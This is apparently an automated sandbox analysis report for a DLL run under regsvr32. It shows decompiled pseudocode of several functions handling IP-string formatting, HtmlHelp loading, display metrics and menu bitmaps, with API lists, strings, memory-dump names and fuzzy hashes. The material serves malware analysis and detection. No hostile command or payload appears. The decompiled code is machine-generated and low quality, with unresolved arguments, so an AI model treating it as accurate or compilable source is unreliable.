				_t82 = __rdx;
				E1000D8A0(__rax,  &_v88);
				_t46 = 0;
				_a16 = 0;
				_a32 = 0;
				_v104 = _t81;
				if(__rdx != 0 && r8d >= 2) {
					 *__rdx = 0;
					r13d = __r8 - 1;
					r8d = r13d;
					_t31 = GetModuleFileNameA(??, ??, ??);
					_t46 = _t31;
					if(_t31 != 0) {
						_t7 = _t81 + 0x20; // 0x20
						_t41 = _t7;
						if(_t7 <= r13d && E1000D8D0(_t62,  &_v88) != 0) {
							_t33 = _v80();
							_t48 = _t33;
							if(_t33 != 0) {
								_t34 = E1002E260(_t62, _t63, _t83, _t81, _t82);
								_t63 = _t62;
								if(_t62 != 0) {
									E1002E410(_t34, _t41, 0, _t62,  &_a16, _t83);
									r8d = _t48;
									if(_v72() != 0 && _v64() != 0) {
										_t75 = _v104;
										if(_t75 != 0 && _a32 == 0x34) {
											r9d =  *(_t75 + 8) & 0x0000ffff;
											r8d =  *(_t75 + 0xa) & 0x0000ffff;
											_v112 =  *(_t75 + 0xc) & 0x0000ffff;
											_v120 =  *(_t75 + 0xe) & 0x0000ffff;
											_t46 = _t46 + wsprintfA(??, ??);
											 *((char*)(_t91 + _t82)) = 0;
										}
									}
								}
							}
						}
					}
				}
				E1002E330(_t62, _t63);
				E1000D8B8( &_v88);
				return _t46;
			}

0x1000d958
0x1000d965
0x1000d96e
0x1000d979
0x1000d97f
0x1000d981
0x1000d988
0x1000d98f
0x1000d999
0x1000d9a9
0x1000d9ab
0x1000d9af
0x1000d9b5
0x1000d9bb
0x1000d9bf
0x1000d9c5
0x1000d9c5
0x1000d9cb
0x1000d9ee
0x1000d9f2
0x1000d9f6
0x1000d9ff
0x1000da04
0x1000da0a
0x1000da18
0x1000da20
0x1000da33
0x1000da54
0x1000da5c
0x1000da70
0x1000da75
0x1000da7e
0x1000da82
0x1000da93
0x1000da95
0x1000da95
0x1000da5c
0x1000da33
0x1000da0a
0x1000d9f6
0x1000d9cb
0x1000d9bf
0x1000da9e
0x1000daa9
0x1000dabc

APIs

GetModuleFileNameA.KERNEL32 ref: 1000D9B5

Part of subcall function 1000D8D0: FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 1000D8E2
Part of subcall function 1000D8D0: LoadLibraryA.KERNEL32 ref: 1000D8EF
Part of subcall function 1000D8D0: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 1000D905
Part of subcall function 1000D8D0: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 1000D91A
Part of subcall function 1000D8D0: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 1000D92A

Part of subcall function 1002E260: RtlAllocateHeap.NTDLL(?,?,?,?,1000E249), ref: 1002E2C1

wsprintfA.USER32 ref: 1000DA8D

Strings

<%d.%d.%d.%d>, xrefs: 1000DA86
4, xrefs: 1000DA5E

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressProc$Library$AllocateFileFreeHeapLoadModuleNamewsprintf
String ID: <%d.%d.%d.%d>$4
API String ID: 217726997-3517592835
Opcode ID: b42b0da12f33d54377925cfaed6d284bc8e1d30b54b5f448d5a0d24d2e423e22
Instruction ID: 91200774e0efa491709fd08b611f258ec3aa80693000311a9759050a4270d7d0
Opcode Fuzzy Hash: b42b0da12f33d54377925cfaed6d284bc8e1d30b54b5f448d5a0d24d2e423e22
Instruction Fuzzy Hash: 5131C83230968186EB50DF15F89076EF3A1FBC6BD4F548126EE8A43698DF38C545CB21

Uniqueness

Uniqueness Score: -1.00%

Function 1002548C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
windowCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E1002548C(void* __edx, void* __ebp, intOrPtr* __rcx, void* __rdx, void* __r8, void* __r9) {
				long long _v56;
				long long _v72;
				void* _t17;
				long _t19;
				void* _t21;
				short* _t35;
				intOrPtr* _t38;
				short _t41;
				void* _t47;
				void* _t48;
				intOrPtr* _t49;
				void* _t50;
				void* _t60;

				_t56 = __r9;
				_t52 = __r8;
				_t47 = __rdx;
				_t38 = __rcx;
				_t23 = __edx;
				_t48 = __r9;
				_t50 = __r8;
				_t21 = __edx;
				_t49 = __rcx;
				if(__edx < 0x2b || __edx > 0x2f && __edx != 0x39 && __edx != 0x4e && __edx != 0x111) {
					return E100117F4(_t23, _t38, _t52, _t56);
				} else {
					_t35 =  *_t38;
					_v72 =  &_v56;
					_t17 =  *((intOrPtr*)(_t35 + 0x218))();
					if(_t17 == 0) {
						_t41 =  *((intOrPtr*)(_t49 + 0xa8));
						__eflags = _t41;
						if(_t41 == 0) {
							L10:
							_t42 =  *((intOrPtr*)(_t49 + 0x70));
							__eflags =  *((intOrPtr*)(_t49 + 0x70));
							if( *((intOrPtr*)(_t49 + 0x70)) == 0) {
								GetParent();
								_t42 = _t35;
							}
							E10014360(_t21, _t23, _t35, _t42, _t47, _t52, _t56, _t60);
							_t19 = SendMessageA(??, ??, ??, ??);
							__eflags = _t21 - 0x4e;
							_v56 = _t35;
							if(_t21 != 0x4e) {
								L26:
								return _t19;
							} else {
								_t19 =  *(_t48 + 0x10);
								__eflags = _t19 - 0xfffffdf8;
								if(_t19 == 0xfffffdf8) {
									L16:
									__eflags =  *((long long*)(_t48 + 0x70));
									if( *((long long*)(_t48 + 0x70)) != 0) {
										goto L26;
									}
									_t35 =  *((intOrPtr*)(_t48 + 0x18));
									__eflags = _t35;
									if(_t35 == 0) {
										L24:
										_t19 = E100117F4(0x4e, _t49, _t50, _t48);
										L25:
										goto L26;
									}
									__eflags =  *_t35;
									L23:
									if(__eflags != 0) {
										goto L26;
									}
									goto L24;
								}
								__eflags = _t19 - 0xfffffdee;
								if(_t19 != 0xfffffdee) {
									goto L26;
								}
								__eflags = _t19 - 0xfffffdf8;
								if(_t19 != 0xfffffdf8) {
									__eflags = _t19 - 0xfffffdee;
									if(_t19 != 0xfffffdee) {
										goto L26;
									}
									__eflags =  *((long long*)(_t48 + 0xc0));
									if( *((long long*)(_t48 + 0xc0)) != 0) {
										goto L26;
									}
									_t35 =  *((intOrPtr*)(_t48 + 0x18));
									__eflags = _t35;
									if(_t35 == 0) {
										goto L24;
									}
									__eflags =  *_t35;
									goto L23;
								}
								goto L16;
							}
						}
						__eflags = _t21 - 0x111;
						if(_t21 != 0x111) {
							goto L10;
						}
						_t19 = SendMessageA();
						goto L25;
					}
					return _t17;
				}
			}

0x1002548c
0x1002548c
0x1002548c
0x1002548c
0x1002548c
0x10025498
0x1002549b
0x1002549e
0x100254a0
0x100254a3
0x00000000
0x100254c4
0x100254c4
0x100254cc
0x100254d4
0x100254dc
0x100254e8
0x100254ef
0x100254f2
0x10025513
0x10025513
0x10025517
0x1002551a
0x10025520
0x10025526
0x10025526
0x10025529
0x1002553a
0x10025540
0x10025546
0x1002554b
0x100255ae
0x00000000
0x1002554d
0x1002554d
0x1002555a
0x1002555c
0x10025566
0x10025566
0x1002556b
0x00000000
0x00000000
0x1002556d
0x10025571
0x10025574
0x10025598
0x100255a6
0x100255ab
0x00000000
0x100255ab
0x10025576
0x10025596
0x10025596
0x00000000
0x00000000
0x00000000
0x10025596
0x1002555e
0x10025560
0x00000000
0x00000000
0x10025562
0x10025564
0x1002557b
0x1002557d
0x00000000
0x00000000
0x1002557f
0x10025587
0x00000000
0x00000000
0x10025589
0x1002558d
0x10025590
0x00000000
0x00000000
0x10025592
0x00000000
0x10025592
0x00000000
0x10025564
0x1002554b
0x100254f4
0x100254fa
0x00000000
0x00000000
0x10025508
0x00000000
0x10025508
0x00000000
0x100254de

APIs

SendMessageA.USER32 ref: 10025508
GetParent.USER32 ref: 10025520
SendMessageA.USER32 ref: 1002553A

Strings

N, xrefs: 10025540

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: MessageSend$Parent
String ID: N
API String ID: 1020955656-1130791706
Opcode ID: 5bda96fee82f00b41306b557ce82cfb26dda8d4da8645fe6a99773ee3e8ced99
Instruction ID: 17c24ffdb06eb7cabcb495a4907809bbb08f5b86da592e6771006d7b4b285ffb
Opcode Fuzzy Hash: 5bda96fee82f00b41306b557ce82cfb26dda8d4da8645fe6a99773ee3e8ced99
Instruction Fuzzy Hash: 4B31B061702E9187DE24CA16B8A035C72A2F7C4BD6F954122EE0B47794DF3AC8818309

Uniqueness

Uniqueness Score: -1.00%

Function 10015D7C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E10015D7C(void* __ebx, void* __edx, long long __rax, void* __rcx, void* __rdx, void* __r8, void* __r9, void* __r11) {
				void* _t15;
				void* _t18;
				void* _t19;
				long long _t23;
				long long _t24;
				void* _t37;
				void* _t40;

				_t40 = __r11;
				_t38 = __r9;
				_t37 = __r8;
				_t23 = __rax;
				_t18 = __edx;
				_t15 = __ebx;
				_t19 = r8d;
				E1002AC6C();
				E100287D8(0x100b7200, 0x10014d54);
				_t24 = _t23;
				if(_t23 == 0) {
					E1000E3A4();
					asm("int3");
				}
				if( *((long long*)(_t23 + 0x10)) != 0) {
					L7:
					E1002ACF8();
					r8d = _t19;
					return  *((intOrPtr*)(_t24 + 0x10))();
				} else {
					E1001244C(_t15, _t18, _t19, _t23, "hhctrl.ocx", 0x10014d54, _t37, _t38, _t40);
					 *((long long*)(_t24 + 8)) = _t23;
					if(_t23 != 0) {
						GetProcAddress();
						 *((long long*)(_t24 + 0x10)) = _t23;
						if(_t23 != 0) {
							goto L7;
						}
						FreeLibrary();
						 *((long long*)(_t24 + 8)) = 0;
					}
					return 0;
				}
			}

0x10015d7c
0x10015d7c
0x10015d7c
0x10015d7c
0x10015d7c
0x10015d7c
0x10015d92
0x10015d98
0x10015dab
0x10015db3
0x10015db6
0x10015db8
0x10015dbd
0x10015dbd
0x10015dc3
0x10015e0b
0x10015e10
0x10015e18
0x00000000
0x10015dc5
0x10015dcc
0x10015dd4
0x10015dd8
0x10015de8
0x10015df1
0x10015df5
0x00000000
0x00000000
0x10015dfb
0x10015e01
0x10015e01
0x00000000
0x10015dda

APIs

Part of subcall function 1002AC6C: EnterCriticalSection.KERNEL32 ref: 1002ACA7
Part of subcall function 1002AC6C: InitializeCriticalSection.KERNEL32 ref: 1002ACC3
Part of subcall function 1002AC6C: LeaveCriticalSection.KERNEL32 ref: 1002ACD8

GetProcAddress.KERNEL32 ref: 10015DE8
FreeLibrary.KERNEL32 ref: 10015DFB

Strings

hhctrl.ocx, xrefs: 10015DC5
HtmlHelpA, xrefs: 10015DDE

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalSection$AddressEnterFreeInitializeLeaveLibraryProc
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 3379933665-63838506
Opcode ID: c65f122dd20d5fa232592762ecff6e79e4381e75e0d5cf17f159c8dda0d4e1d6
Instruction ID: c41e287683079090c2ab5328ed2d7ae183a2a0f5fc3ecad7734ccd2d818dfb05
Opcode Fuzzy Hash: c65f122dd20d5fa232592762ecff6e79e4381e75e0d5cf17f159c8dda0d4e1d6
Instruction Fuzzy Hash: F911AD3630268086EB19DB61F84879832A4FB49BCAF984428AD1D4F394EFB8D9C4C350

Uniqueness

Uniqueness Score: -1.00%

Function 10010B5C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E10010B5C(void* __rcx, intOrPtr* __rdx) {
				void* _v40;
				void* __rbx;
				void* __rdi;
				int _t15;
				long long _t26;
				intOrPtr* _t27;
				intOrPtr* _t31;
				void* _t33;
				void* _t34;
				void* _t35;
				void* _t38;

				_t31 = __rdx;
				_t27 = __rdx;
				_t33 = __rcx;
				if(E10010920(_t26) == 0) {
					if(_t33 != 0x12340042 || _t27 == 0 ||  *_t27 < 0x28) {
						L9:
						return 0;
					} else {
						r9d = 0;
						if(SystemParametersInfoA(??, ??, ??, ??) == 0) {
							goto L9;
						}
						 *((intOrPtr*)(_t27 + 4)) = 0;
						 *((intOrPtr*)(_t27 + 8)) = 0;
						 *((intOrPtr*)(_t27 + 0xc)) = GetSystemMetrics(??);
						_t15 = GetSystemMetrics(??);
						 *((intOrPtr*)(_t27 + 0x24)) = 1;
						asm("movdqu xmm0, [esp+0x20]");
						asm("movdqu [ebx+0x14], xmm0");
						 *(_t27 + 0x10) = _t15;
						if( *_t27 >= 0x48) {
							_t8 = _t27 + 0x28; // 0x50
							_t9 = _t33 + 0x1e; // 0x1f
							r9d = _t9;
							E10032700(_t26, _t27, _t8, _t31, _t33, _t34, _t35, "DISPLAY", _t38);
						}
						return 1;
					}
				}
				return  *0x100b6f10();
			}

0x10010b5c
0x10010b63
0x10010b66
0x10010b70
0x10010b8a
0x10010c04
0x00000000
0x10010b96
0x10010b9d
0x10010bab
0x00000000
0x00000000
0x10010baf
0x10010bb6
0x10010bca
0x10010bcd
0x10010bd6
0x10010bd9
0x10010bdf
0x10010be4
0x10010be7
0x10010be9
0x10010bed
0x10010bed
0x10010bfb
0x10010bfb
0x00000000
0x10010c00
0x10010b8a
0x00000000

APIs

SystemParametersInfoA.USER32 ref: 10010BA3
GetSystemMetrics.USER32 ref: 10010BBD
GetSystemMetrics.USER32 ref: 10010BCD

Strings

DISPLAY, xrefs: 10010BF1

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: System$Metrics$InfoParameters
String ID: DISPLAY
API String ID: 3136151823-865373369
Opcode ID: fe368006fdac103abfb18efc99b51803348e05ff170124d5d36c25054f156c9e
Instruction ID: f3320358131af27988aabbe44b0c0631ffa2fb5c7700aeaa89f3d15a3aa625fd
Opcode Fuzzy Hash: fe368006fdac103abfb18efc99b51803348e05ff170124d5d36c25054f156c9e
Instruction Fuzzy Hash: FE11A3B6704641C7DB15CF34E90479DB3A1FB88B88F548121EA894B158EFB8C5D4CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10029D60 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32 ref: 10029D8C
GetClassNameA.USER32 ref: 10029DA7
CompareStringA.KERNEL32 ref: 10029DD2

Strings

combobox, xrefs: 10029DB3

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ClassCompareLongNameStringWindow
String ID: combobox
API String ID: 1414938635-2240613097
Opcode ID: c9a9f9ebfb2bdaf09ff53500e173561805774092b5efdf2fceff678be82a82c3
Instruction ID: 683b1d1643548ce3892291c0b302ea835924aa67f9320816f1aa8c34b9639432
Opcode Fuzzy Hash: c9a9f9ebfb2bdaf09ff53500e173561805774092b5efdf2fceff678be82a82c3
Instruction Fuzzy Hash: 93016737314A4087E721CB15FC1179A73A1F7897E4F944221DA9E477A4EF78C585DB00

Uniqueness

Uniqueness Score: -1.00%

Function 100208C4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 100208E3
LoadLibraryA.KERNEL32 ref: 100208F6
GetProcAddress.KERNEL32 ref: 10020914

Strings

ImageList_Draw, xrefs: 1002090D

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: ImageList_Draw
API String ID: 310444273-2074868843
Opcode ID: 9edc659d7adb9a13735a3c8e88eb3de1609b515a919811619b07c3b34f6702cc
Instruction ID: 9eaf5e90cf25ae6292a2366036aa674d6ce1a7fe97b783e01d783fa05668dddf
Opcode Fuzzy Hash: 9edc659d7adb9a13735a3c8e88eb3de1609b515a919811619b07c3b34f6702cc
Instruction Fuzzy Hash: 4FF09C32202B45C9EB05CF29E98434863A5E758F98F688025CA4D46325EF74C9E5D750

Uniqueness

Uniqueness Score: -1.00%

Function 10020A68 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 10020A8A
LoadLibraryA.KERNEL32 ref: 10020A9D
GetProcAddress.KERNEL32 ref: 10020ABB

Strings

ImageList_GetImageInfo, xrefs: 10020AB4

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: ImageList_GetImageInfo
API String ID: 310444273-158344479
Opcode ID: 9d2e0b3e6eef9fda11637e9329e97777cee6cbb63ff2ceff22cc8cf20fbb397e
Instruction ID: fa811598299ad0acf756c3fed2b47ab49ed2886cd7638623674fbd8608e08253
Opcode Fuzzy Hash: 9d2e0b3e6eef9fda11637e9329e97777cee6cbb63ff2ceff22cc8cf20fbb397e
Instruction Fuzzy Hash: 2BF0E232202F8585EB45CF25E88438833A5F758F9CF688035DA4D8A365EF78C9E6D791

Uniqueness

Uniqueness Score: -1.00%

Function 1002BA90 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 1002BAAF
LoadLibraryA.KERNEL32 ref: 1002BAC2
GetProcAddress.KERNEL32 ref: 1002BAE0

Strings

ImageList_Destroy, xrefs: 1002BAD9

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: ImageList_Destroy
API String ID: 310444273-3359732376
Opcode ID: 3d59f86d3ea533f42e6804d52b99de8b2090cbb0b4e2b5622287151bd149cd4a
Instruction ID: e549d0c635999c7cd958e8f44bbbcca3b027741e9e744c61c4b1d6bd730152bc
Opcode Fuzzy Hash: 3d59f86d3ea533f42e6804d52b99de8b2090cbb0b4e2b5622287151bd149cd4a
Instruction Fuzzy Hash: C0F0E732202F8989DB458F25E98434833A4F748FACF689025CA4D86325EF78C9E5D751

Uniqueness

Uniqueness Score: -1.00%

Function 100196AC Relevance: 6.1, APIs: 4, Instructions: 123
windowCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E100196AC(void* __ecx, void* __edx, void* __rdx, void* __rdi, void* __rsi, void* __r8, void* __r9, void* __r12) {
				unsigned int _t28;
				int _t32;
				signed int _t48;
				signed int _t51;
				signed int _t54;
				unsigned int _t60;
				void* _t61;
				unsigned int _t62;
				signed int _t63;
				signed long long _t74;
				long long _t76;
				long long _t77;
				void* _t78;
				intOrPtr* _t79;
				intOrPtr* _t80;
				char* _t89;
				void* _t90;
				void* _t92;
				void* _t94;
				void* _t96;
				signed long long _t97;
				void* _t98;
				void* _t103;
				signed char* _t104;
				signed long long _t105;
				void* _t106;

				_t107 = __r12;
				_t103 = __r9;
				_t92 = __rsi;
				_t90 = __rdi;
				_t88 = __rdx;
				_t52 = __edx;
				_t49 = __ecx;
				_push(_t94);
				_push(__rsi);
				_push(__rdi);
				_push(__r12);
				_t97 = _t96 - 0xc0;
				_t74 =  *0x100b1640; // 0xf93099fb11e7
				 *(_t97 + 0xb0) = _t74 ^ _t97;
				_t28 = GetMenuCheckMarkDimensions();
				_t62 = _t28;
				_t60 = _t28 >> 0x10;
				if(_t62 <= 4 || _t60 <= 5) {
					E1000E3A4();
					asm("int3");
					asm("int3");
					asm("int3");
					_t98 = _t97 - 0x30;
					_t102 =  *_t80;
					_t79 = _t80;
					_t54 = 0 | _t52 != 0x00000000;
					_t32 =  *((intOrPtr*)( *_t80 + 8))(_t78);
					if( *((long long*)(_t79 + 0x10)) != 0 &&  *((long long*)(_t79 + 0x18)) == 0) {
						if( *((intOrPtr*)(_t79 + 0xc)) >=  *((intOrPtr*)(_t79 + 0x30))) {
							E1000E3A4();
							asm("int3");
						}
						_t76 =  *0x100b7350; // 0x0
						if(_t76 != 0) {
							L13:
							r9d = 0;
							r8d = 0x400;
							 *((long long*)(_t98 + 0x20)) = _t76;
							_t32 = SetMenuItemBitmaps(??, ??, ??, ??, ??);
						} else {
							_t32 = E100196AC(_t49, _t54, _t88, _t90, _t92, _t102, _t103, _t107);
							_t76 =  *0x100b7350; // 0x0
							if(_t76 != 0) {
								goto L13;
							}
						}
					}
					return _t32;
				} else {
					_t2 = _t90 + 0x1b; // 0x20
					r8d = _t2;
					_t63 =  >  ? r8d : _t62;
					asm("cdq");
					_t48 = _t94 + 0xf >> 4;
					r12d = _t48;
					r12d = r12d << 4;
					r12d = r12d + (_t94 - 4 - __edx >> 1);
					_t6 = _t90 + 7; // 0xc
					r12d = r12d - _t63;
					r12d =  >  ? _t6 : r12d;
					_t61 =  >  ? r8d : _t60;
					_t7 = _t90 + 0x7b; // 0x80
					r8d = _t7;
					E1002E410(_t6, __ecx, 0xff, _t97 + 0x30, __rdx, __r8);
					_t105 = _t48;
					_t104 = 0x100985d0;
					_t106 = _t105 + _t105;
					_t89 = _t97 + 0x30 + (__rsi - 6 >> 1) * _t105 * 2;
					do {
						r9d =  *_t104 & 0x000000ff;
						_t104 =  &(_t104[1]);
						r9w = r9w << r12d;
						r9w =  !r9w;
						 *((intOrPtr*)(_t89 + 1)) = r9b;
						 *_t89 = (r9w & 0xffffffff) >> 8;
						_t89 = _t89 + _t106;
						_t90 = _t90 - 1;
					} while (_t90 != 0);
					_t13 = _t90 + 1; // 0x5
					r9d = _t13;
					_t77 = _t97 + 0x30;
					r8d = r9d;
					_t51 = _t63;
					 *((long long*)(_t97 + 0x20)) = _t77;
					CreateBitmap(??, ??, ??, ??, ??);
					 *0x100b7350 = _t77;
					if(_t77 == 0) {
						_t51 = 0;
						LoadBitmapA(??, ??);
						 *0x100b7350 = _t77;
					}
					return E1002FF40(_t51,  *(_t97 + 0xb0) ^ _t97);
				}
			}

0x100196ac
0x100196ac
0x100196ac
0x100196ac
0x100196ac
0x100196ac
0x100196ac
0x100196ae
0x100196af
0x100196b0
0x100196b1
0x100196b3
0x100196ba
0x100196c4
0x100196cc
0x100196d2
0x100196db
0x100196de
0x100197dc
0x100197e1
0x100197e2
0x100197e3
0x100197e6
0x100197ea
0x100197f3
0x100197f6
0x100197f9
0x10019802
0x10019811
0x10019813
0x10019818
0x10019818
0x10019819
0x10019823
0x10019836
0x1001983d
0x10019844
0x1001984a
0x1001984f
0x10019825
0x10019825
0x1001982a
0x10019834
0x00000000
0x00000000
0x10019834
0x10019823
0x1001985a
0x100196f1
0x100196f1
0x100196f1
0x100196fd
0x10019707
0x10019708
0x1001970d
0x10019717
0x1001971b
0x1001971e
0x10019721
0x10019727
0x1001972e
0x10019732
0x10019732
0x10019736
0x1001973b
0x10019743
0x10019751
0x10019754
0x10019759
0x10019759
0x10019760
0x10019764
0x10019768
0x10019770
0x10019778
0x1001977a
0x1001977d
0x1001977d
0x10019783
0x10019783
0x10019787
0x1001978e
0x10019791
0x10019793
0x10019798
0x100197a1
0x100197a8
0x100197af
0x100197b1
0x100197b7
0x100197b7
0x100197db
0x100197db

APIs

GetMenuCheckMarkDimensions.USER32 ref: 100196CC
CreateBitmap.GDI32 ref: 10019798
LoadBitmapA.USER32 ref: 100197B1
SetMenuItemBitmaps.USER32 ref: 1001984F

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: BitmapMenu$BitmapsCheckCreateDimensionsItemLoadMark
String ID:
API String ID: 527726921-0
Opcode ID: 572dbd37ea8f698b0517723c37e5d44513be4fff420a50290d5a6c80e5949fe8
Instruction ID: 55334d52b56eaa94aeeec8e7db7c02b30ccd77330e43029655257572f89655e4
Opcode Fuzzy Hash: 572dbd37ea8f698b0517723c37e5d44513be4fff420a50290d5a6c80e5949fe8
Instruction Fuzzy Hash: 88412236B10B9886EB10CF34F844BA937A1FB48B45F494025DB8D4BB04EF78E994C700

Uniqueness

Uniqueness Score: -1.00%

